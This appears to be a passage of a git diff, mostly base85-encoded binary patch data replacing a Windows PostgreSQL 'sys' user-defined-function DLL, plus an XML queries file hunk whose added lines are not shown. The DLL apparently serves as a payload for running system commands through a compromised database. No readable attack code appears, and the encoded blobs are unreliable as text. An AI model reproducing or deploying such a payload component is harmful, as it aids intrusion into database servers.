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 diff --git a/udf/postgresql/windows/8.3/lib_postgresqludf_sys.dll b/udf/postgresql/windows/8.3/lib_postgresqludf_sys.dll index 875aa45c6a48cdd3a8390b9c55fccd075f9981f2..a4935bcc8e02f13487cfc6b983e4f4e5dd8f9eb0 100755 GIT binary patch delta 3288 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 delta 3049 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 diff --git a/xml/queries.xml b/xml/queries.xml index e5854e95f..bcdcfa8d8 100644 --- a/xml/queries.xml +++ b/xml/queries.xml @@ -29,6 +29,7 @@ + @@ -138,6 +139,7 @@ +